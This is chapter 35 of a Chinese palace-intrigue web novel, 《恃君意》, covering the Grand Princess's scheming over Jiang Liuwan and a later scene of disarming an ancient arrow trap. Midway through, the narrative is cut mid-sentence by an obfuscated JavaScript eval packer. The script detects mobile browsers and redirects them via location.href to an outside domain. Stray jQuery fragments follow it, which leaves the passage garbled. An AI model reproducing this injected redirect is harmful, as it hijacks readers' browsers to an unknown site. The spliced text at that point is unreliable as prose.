35. 第三十五章

作品:《恃君意

    “砰!”


    一叠茶盏被人猛地摔在地上,明前龙井的香气在屋子里热烫得滚了一圈。


    一群围着的人没有一个敢出声的。


    “都是干什么吃的!”


    “出了这么大的事,一点消息都没有!花银子养出你们这群饭桶,酒囊饭袋的东西,滚!滚!都给我滚!”


    “殿下息怒,切莫气坏了身子。”伺候的宫女上前安慰,得了一个脆生的巴掌。


    正撞在气口上,捂着脸颊热辣的疼,泛着眼泪不敢再出声。


    魏照海这时终于搬来了救兵,姗姗来迟。


    “哎呀殿下,何必动这么大的火气。”魏照海掐着一把尖利的嗓子来给长公主顺气,脚上踩着一地的碎片,气得跺了下脚:“没长眼睛的东西,还不赶紧收拾咯。”


    “伤者殿下你们担待得起吗?”


    他说罢,见上首的人没再动作。宫女们便齐声称是,利落地上前收拾了。


    “殿下,来,咱家扶您去榻上歇着。”


    长公主面色依旧不好,自然也没给他这个阉人什么面子,由一旁的嬷嬷扶着往金丝软榻上去了。魏照海被冷落也不见恼意,只因他今日请来了救兵。


    门外,轮椅拖沓的声音传来。


    车轱辘咬合着地砖,来人腿脚不便。双腿无力地搭在檀木打的轮椅上,软绵轻飘,纸片一般消瘦。


    再往上,虎口旁的一枚玉扳指却打磨得通透。过门槛时轮椅的机关一落一放,虽残疾落魄,也不要人扶。


    他离得越近,屋子里滚动的声音便越响亮。


    十四皇子齐王走进,此人名为谢衡,他开口,唤上首之人:“姑母。”


    “你怎么来了?”榻上的人稍有意外,但也没有进一步的动作。说完依旧在软榻上不偏不倚地靠着:“不在俭园里安生待着,出来乱跑也不怕伤了身子。”


    “衡儿只是在俭园里闷得厉害,所以想着出来走动走动。”谢衡看起来好像并未察觉到长公主的轻慢,他唇边浮起一抹淡笑:“听说近日,有人惹了姑母烦心?”


    “你这消息倒是传得快。”长公主轻哼一声,抬头瞥了一眼魏照海,又觉得头疼:“谢识呈仗着有几分才学在内阁如日中天,陛下现在也对他很是青眼。”


    “图洋龙道的事,竟就这么不声不响地办了!”长公主说到这儿似是又觉得气闷,慢慢从榻上坐起来。宫女来给她顺气。


    长公主又端着茶盏抿了一口,她虽然华发已生,但依旧珠环钗翠。气度华贵威敛。放下茶盏坐在那里,周遭的气度都让人觉得压迫。


    “皇帝也是年纪大了,记性不好。这些年同本宫生分不少,都快忘了二十三年前,是谁帮他坐稳的龙椅。”


    她说这话时,宫人们自是大气不敢出。连魏照海都低着头不敢接话。


    唯有谢衡坐在下首,依旧面色如常地看着她。


    只有谢衡自己知道,在长公主说到‘二十三年前’时,他掩在袖子里的手紧了下。


    是啊,二十三年,都过去这么久了。


    “姑母无需忧虑。”谢衡开了个头,唇边噙了一抹淡笑:“前些日子同元策碰着,听他说承恩伯府去江南接了一名女子回府。”


    “此女二十有一,却依旧待字闺中未嫁,便是伯府当年走失的二小姐。”


    二十三年前石硚之耻,闹得太大。盛京也跟着不算太平,闹了好一段时日。后来眼看着长公主一党在朝中愈发得势,不好正面下手。有人便将苗头瞄准了承恩伯府,长公主膝下唯一的女儿,千珍郡主便嫁去了这里。


    凭着与长公主府的姻亲,承恩伯府那几年自然也是跟着扶摇直上。不过树大招风,于两年后,承恩伯府的二小姐便在上元节灯会走失。


    此后数年,一直杳无音信。


    一开始,承恩伯府自然没有放弃找寻,甚至求到了长公主那里。只是恰巧千恩郡主再度查出身孕,也就是怀上承恩伯府的嫡子元策,不宜伤身。


    此事便就这么不了了之了。


    如今听到这个消息,长公主眼中没有太大的波澜。


    一个孩子而已,找回来便就找回来了,再好好养着便是。


    魏照海明白她的心思,捧着一叠洗好的荔枝送过来:“殿下有所不知,如今送回来的二小姐,可是有些来头。”


    “什么来头?”


    魏照海伸手接下长公主吐出来的果核,方才净了手拿着拂尘近了长公主耳边。


    一阵耳语过后,只见长公主面色稍稍一变。


    “当真?”


    “您若是不放心,大可看看这个。”魏照海又将一叠册子奉了上去:“此为青州书院德祐四年及往后的品学堂在册名录。”


    “青州书院桃李遍布天下,女子亦可入学。在书院中,谢识呈读书刻苦不与旁人亲近。却有人见着这江姑娘能与他说上几句话。”


    “此女名叫江流婉,不知怎么从盛京流落到了青州,为书院一名姓江的学究所救。自小教授四书五经,开蒙开智,才学很是不俗。”


    “可能胜过祁太傅之女?”


    魏照海闻言打了个哈哈,谁人不知祁太傅之女祁芸才思敏捷。曾在天下文人诗会中一气呵成为先帝写下悼词,叙其生平与功绩,功过沉沦褒奖得宜。


    是以先帝迁陵之时明景帝下旨直接改用了这块碑文,一举名动四方,也被大理寺卿段恒所赏识,定为门生。


    盛京第一才女的名号,可不是空穴来风。


    魏照海自然也知道这个道理,长公主对其不以为意。魏照海讪讪陪了个笑,望着外面:“将人带进来。”


    不多时,便有一身着月白流苏柳叶裙的女子迈进厅中。


    “流婉,请长公主安。”


    分寸倒是拿捏得妥当,没有一上来就唤外祖母。当然,也不见得长公主会认下。


    “起来吧,模样倒是标致。”


    一方水土养一方人,江流婉是标准的江南长相。婉约柔美,眉宇间却又凝着一捧清冷,自带惹人怜惜的意味。


    配上那含水的眸子望过来,很难不让人喜欢。


    今日她举止气度都得当,长公主自是没有为难。大手一挥见过一面便又将人打发走了。


    “瞅着倒是个伶俐可人的。”长公主依旧颦着眉,眉宇间不见放松的神色。“就怕心气太高,拗不过三丫头的厉害。”


    “殿下多虑了,这青梅竹马的情谊,到底是有几分重量在的。”


    长公主闻言没再出声,似乎是闭着眼睛在谋划。


    只可惜她当年只得了一个女儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703160|168242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,苏家长子又常年在塞外领兵。年龄也相差甚远,做不了指望。


    到了孙辈,更是不消再提。


    没一个能撑起来的,若不是她这把骨头还在,早不知落到那个漩儿里喝西风去了。指望能迎娶相府千金,一场痴梦罢了。


    明念那丫头,自小便机灵聪慧。又跟着游老太公四处历练,手段与谋略都同京中贵女不是一路人。


    只可惜三丫头再伶俐,也没能做成她长公主府的孙媳。苏游两家最是刚正,苏宜民官做到这样大,却依旧叫人捏不住把柄。


    长公主心里敬他三分,佩服之余对着相府更是无从下手。


    注定走不了一条路。


    至于谢识呈,既然几次三番同她作对,那也休怪她无情。


    -


    “坏人永远都不会觉得自己有错,哪怕她们站在欺人骨血的高地,也只会觉得脚下的路途不平坦。”


    “对喽,小丫头,这书读到这里算是念到活处了。”


    赵阿妹蹲在地上抱着手里的一本札记,仰头望来:“平倡爷爷,那白新镇的恶人做错了事?可有人会罚他们?”


    “公道自在人心,阿妹等消息便可。”平倡先生摸摸赵阿妹的头,阿妹对这些话还一知半解,便看见矮山另一头哥哥的影子。


    好消息来了。


    李保常自那日中风后便卧病不起,躺了没两日又被拉起来杖责一百判了流放,板子还没打完就掉气了。


    新上任的是驻扎来此地的行武营官,图洋龙道这些日子已经来了不少人。


    闻竹山的人近些日子也下了山,由平倡先生带头把龙道里经年累月留下的古旧机关拆除。


    只听‘轰隆’一声,山谷里的碎石滚滚落落。


    “好像是山谷里传来的动静。”赵秋土带着妹妹去看热闹,跑到山谷边上,果然见着好大的阵仗。


    靳道无站在中间,刚用剑劈开了坤元阵中间的锁匙。


    墙上的机关密密麻麻的。


    “好多字啊。”赵秋土扒着山石拉着妹妹躲在后面探出脑袋看。


    “好像是几首诗。”赵阿妹跟着平倡先生念书,比习武准备参军的赵秋土还认得更多字。


    “写的什么?”


    赵阿妹念了两句就见那些字又变了模样:“横看成岭侧成峰,哎哟,怎么又变了……”


    说话间靳道无已经运功往上升了数尺一头斩在中间的罗盘针上:“都往后退。”


    霎时间,一群人都往后又退了一圈。


    “甲乙东方木,此阵镇金走火,师兄,走坎位解。”靳道无本欲从离位解,方才的断刀也没下错。但这字阵繁复,瞬息间又变了方位,不可谓不险。


    靳道无脚上用力,嘴里叼出一枚铜环,白线根根探入阵眼。


    里面机关重叠,他仔细听着声形,明念在外面看着字阵报方位。


    咔哒一声,石门后放出万千利箭,靳道无闪身立于山顶,明念则堵着耳朵在石头后抱头蹲下。


    她丝毫不觉得这姿势狼狈,嘴里还念念有词:“还真是前朝的坤元万箭阵啊,还以为老头忽悠人呢。”


    “说谁呢?”


    “糟了。”明念没回头,就知道被老头听了个正着。


    平倡先生果然就立在身后。